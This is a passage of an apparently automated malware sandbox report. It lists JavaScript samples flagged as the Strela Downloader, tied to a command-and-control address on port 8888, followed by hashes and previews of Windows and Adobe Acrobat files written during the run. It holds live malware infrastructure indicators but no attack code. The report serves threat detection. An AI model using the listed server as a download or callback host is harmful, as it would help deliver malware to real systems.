	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4328285711855619485.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.307337240987445
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrA:KooCEYhgYEL0In
MD5:	74C7819F17798E2CFB937696253CC09B
SHA1:	C5E923F5BED0DF4BA94EB7DC358C9C1CD826FF7D
SHA-256:	A027B25320FBF0009056B9B4EF43E1D78F8F73C191CEB1F37650EFE5939119FC
SHA-512:	3D3D3D2F2888BCB77EB57ED1A839AA8A1BB2E029DB4AE09B6ED258F756DA09EDAA2271D45BD55DCD152328B9650DE871886B2EED89389BDD6D7DEF4CF0D15074
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x5f7e9819, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221050760026814
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	1BDE11639D69F3D7E08B4382921CBD4D
SHA1:	19C478C77A5A6EE33736FA67FC48FC561DB96471
SHA-256:	4743F6600623B37757E7B7E670A172C8E37B4E84E4DCC3C2457823136F892AB5
SHA-512:	9BBA395D28552A512139A1DBAE9C16133508FBE6D7AA0C561AFF133134953F54DB9C26BA66748B997889CCA92607F7E19000F094AF42D166D2D3CD4271D156D0
Malicious:	false
Preview:	_~..... .......A.......X\...;...{......................0.!..........{A.7....}].h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................7....}}.....................7....}]..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07550499281308323
Encrypted:	false
SSDEEP:	3:gt/KYelcejjn13a/tSkrSllcVO/lnlZMxZNQl:gt/Kzlvj53qhyOewk
MD5:	45FFBFF770A63C8B3BDB9BAB6F442D55
SHA1:	FBEC98492A3A58326A0460668F71DE6260E315E8
SHA-256:	CEF193240163E5F2294217AF947B6F8FBCBA8F116A7714637B34A7C4A468EFD3
SHA-512:	EF6467C34602205CD295143A37D686C37101DF2125B9865CAB2F6C33B3029726F363A2ECAF0854AEAC10C7683F8CE4DFD46BE1963CC0987041E7325965B11861
Malicious:	false
Preview:	._.......................................;...{..7....}]......{A..............{A......{A..........{A]....................7....}].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.110011412482781
Encrypted:	false
SSDEEP:	6:iO4qo+q2Pwkn2nKuAl9OmbnIFUtSqHG0WZmwsqHGDVkwOwkn2nKuAl9OmbjLJ:7G+vYfHAahFUtTW/4V5JfHAaSJ
MD5:	25DECD15A42E4BEBE25B1A7F0B0BD6C0
SHA1:	723095728885ADEE0D31569557ED6CFCD7DFB515
SHA-256:	4D655C322E3B583027BFD841E9086B691C64071ACE87DB994D2A0549FF729879
SHA-512:	47A96AAC2C626F910B24B04686CF9DDF9256DDD90A5864D81448C6FA78D2191043A5ABEFA755999CE3F96437A9FE2925D9C0B582355929BC29179DB3D23DE396
Malicious:	false
Preview:	2025/01/10-21:01:55.182 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:01:55.184 1c5c Recovering log #3.2025/01/10-21:01:55.184 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.110011412482781
Encrypted:	false
SSDEEP:	6:iO4qo+q2Pwkn2nKuAl9OmbnIFUtSqHG0WZmwsqHGDVkwOwkn2nKuAl9OmbjLJ:7G+vYfHAahFUtTW/4V5JfHAaSJ
MD5:	25DECD15A42E4BEBE25B1A7F0B0BD6C0
SHA1:	723095728885ADEE0D31569557ED6CFCD7DFB515
SHA-256:	4D655C322E3B583027BFD841E9086B691C64071ACE87DB994D2A0549FF729879
SHA-512:	47A96AAC2C626F910B24B04686CF9DDF9256DDD90A5864D81448C6FA78D2191043A5ABEFA755999CE3F96437A9FE2925D9C0B582355929BC29179DB3D23DE396
Malicious:	false
Preview:	2025/01/10-21:01:55.182 1c5c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:01:55.184 1c5c Recovering log #3.2025/01/10-21:01:55.184 1c5c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.15653418963338
Encrypted:	false
SSDEEP:	6:iO4qS3+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqX5ZmwsqXtVkwOwkn2nKuAl9Ombzos:7cOvYfHAa8uFUtr5/hT5JfHAa8RJ
MD5:	AB65D10A1ACD91369DE6D459EA27404E
SHA1:	9BBBD762220430E0977D12BAB9C68ABA88DB9152
SHA-256:	74DB8B44FB00EBFB61E7CB5EFDCC6867B8198B1A490715DCCF1229A76DB40319
SHA-512:	BE4277742699494079FD23CA5E92918B4CF4C7DF7122FF85890137E051ABA80422424229CAAFC60AC88BCF8CD74185003249770975AC86AA6DD94C6B29BCD16B
Malicious:	false
Preview:	2025/01/10-21:01:55.206 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:01:55.207 1d48 Recovering log #3.2025/01/10-21:01:55.207 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.15653418963338
Encrypted:	false
SSDEEP:	6:iO4qS3+q2Pwkn2nKuAl9Ombzo2jMGIFUtSqX5ZmwsqXtVkwOwkn2nKuAl9Ombzos:7cOvYfHAa8uFUtr5/hT5JfHAa8RJ
MD5:	AB65D10A1ACD91369DE6D459EA27404E
SHA1:	9BBBD762220430E0977D12BAB9C68ABA88DB9152
SHA-256:	74DB8B44FB00EBFB61E7CB5EFDCC6867B8198B1A490715DCCF1229A76DB40319
SHA-512:	BE4277742699494079FD23CA5E92918B4CF4C7DF7122FF85890137E051ABA80422424229CAAFC60AC88BCF8CD74185003249770975AC86AA6DD94C6B29BCD16B
Malicious:	false
Preview:	2025/01/10-21:01:55.206 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:01:55.207 1d48 Recovering log #3.2025/01/10-21:01:55.207 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\641c9795-b041-4511-8d3e-54e76a74a886.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvOXhsBdOg2Hacaq3QYiubInP7E4T3y:Y2sRdssOidMHV3QYhbG7nby
MD5:	AB26E8A9CE9A14866D7F597C18DD0B82
SHA1:	7FF5B8260F7B662A72B6A6BD860E3324116568FD
SHA-256:	71399F41D56050AE3E8577C74F5E7606E809A03AC15E7E3D24FD32AC6D9FDA83
SHA-512:	02AD499F4850212204E4A3F62847C88A27D5B2E639BB367F1EE7395DD7ECEC5456825E65E944D58CD8E50C788446A0BACFE01254A24F9B6A7A23DBA0774CD880
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120927807464","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":159274},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvOXhsBdOg2Hacaq3QYiubInP7E4T3y:Y2sRdssOidMHV3QYhbG7nby
MD5:	AB26E8A9CE9A14866D7F597C18DD0B82
SHA1:	7FF5B8260F7B662A72B6A6BD860E3324116568FD
SHA-256:	71399F41D56050AE3E8577C74F5E7606E809A03AC15E7E3D24FD32AC6D9FDA83
SHA-512:	02AD499F4850212204E4A3F62847C88A27D5B2E639BB367F1EE7395DD7ECEC5456825E65E944D58CD8E50C788446A0BACFE01254A24F9B6A7A23DBA0774CD880
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381120927807464","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":159274},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.25771769365263
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7l7suY64:etJCV4FiN/jTN/2r8Mta02fEhgO73goG
MD5:	9D6C658A1E8B2665654343259699733F
SHA1:	55AF21E18F63525587908BD16A9DA6393D8B0FC5
SHA-256:	5DAB7BB71379CFCF521A8BA824CFD7B10E2098310C350BB6FF383618E4AA635E
SHA-512:	5E1BB7628DBCAC9A3B09633C143CB4F50AB957B3BB2E57B61CFCB8C2EB7EB68D4724858CF488E484AB4715BC01A0B0FE71CDE6B22D1C5B4831636722202A3E8F
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.157504094654024
Encrypted:	false
SSDEEP:	6:iO4qYt+q2Pwkn2nKuAl9OmbzNMxIFUtSqUCZmwsqUeVkwOwkn2nKuAl9OmbzNMFd:7PvYfHAa8jFUt4C/6u5JfHAa84J
MD5:	3F42AEA82E1927231D3C08531920EA52
SHA1:	9DE2EE971FB49B4721683A7B04B4DD6CFE8AC2F5
SHA-256:	AEF92122EFAE330C643E90B219BE3D2FDCDB96B19EE847615F1AED108FE502EE
SHA-512:	6906502A2E77CEBD70B3F4A828158E0ACF223BDB4AF33B188496A719C85E0495BFAA35C600B991ADAA34551882B8E2685B7E293A0C7DB90EF13B55A69279BD23
Malicious:	false
Preview:	2025/01/10-21:01:55.338 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:01:55.340 1d48 Recovering log #3.2025/01/10-21:01:55.340 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.157504094654024
Encrypted:	false
SSDEEP:	6:iO4qYt+q2Pwkn2nKuAl9OmbzNMxIFUtSqUCZmwsqUeVkwOwkn2nKuAl9OmbzNMFd:7PvYfHAa8jFUt4C/6u5JfHAa84J
MD5:	3F42AEA82E1927231D3C08531920EA52
SHA1:	9DE2EE971FB49B4721683A7B04B4DD6CFE8AC2F5
SHA-256:	AEF92122EFAE330C643E90B219BE3D2FDCDB96B19EE847615F1AED108FE502EE
SHA-512:	6906502A2E77CEBD70B3F4A828158E0ACF223BDB4AF33B188496A719C85E0495BFAA35C600B991ADAA34551882B8E2685B7E293A0C7DB90EF13B55A69279BD23
Malicious:	false
Preview:	2025/01/10-21:01:55.338 1d48 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:01:55.340 1d48 Recovering log #3.2025/01/10-21:01:55.340 1d48 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444486356460475
Encrypted:	false
SSDEEP:	384:Seuci5t8iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:6bs3OazzU89UTTgUL
MD5:	3A91EC2A5333561ECB672E9E8B1B722A
SHA1:	9C91753FDB5FE02833DB15755BFDDAE9AD774F77
SHA-256:	0FD2BCBE8A32E9335E190675DF7C3749E25B272C4C39D5BBB933A76247412C4F
SHA-512:	AE5F8774C333599109DBA18746E27C1F3C97B74BD9BB09A14D693865B90F4010117FAECE0174F8C9C49B2F4B0E4995EEF6F64BDCDBBDC5B6F85EA822875873C3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2138899440497863
Encrypted:	false
SSDEEP:	24:7+tFxnuwK+qLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M9:7M3nC+qvmFTIF3XmHjBoGGR+jMz+Lhg
MD5:	D3839B224F8646313511ECE029271761
SHA1:	55D73D63F3E853A284C94B30C68855D9FD0102AE
SHA-256:	BBC1D1F413BBEA4ECF8A5D20FC4FC86FC862D986B776F41B18E8B3E3ABC57B83
SHA-512:	0DDBFD9C470DD9B07A19BDA7C918578F2A933CACB6135AB9EA2A080FAB9564A660D5D5CC2CC60C6A935A451D0E0D2617063138501CD03F6ECEF23CAA74B0C359
Malicious:	false
Preview:	.... .c.....w&..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklTKaTLlltfllXlE/HT8khzzttNNX8RolJuRdxLlGB9lQRYwpDdt:kKRo/eT8ozzVNMa8RdWBwRd
MD5:	B0ED76F24B49A636B1AF114ED9648DFC
SHA1:	8D7D0F3428AA6C57196B7ED95876439AD9D94C5D
SHA-256:	08250E320278961D8370F033B3EFA2DE3B679099E2152E385F8F10393E4367A5
SHA-512:	41E852AB7FC170344D598153825185DF10757AA11DC2747B05266BFD06021C12F35855D5E599DBD25C6BE8548F238C3DABC9BE84C44DFE14DC70CFC7D4A12B22
Malicious:	false
Preview:	p...... ........`....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
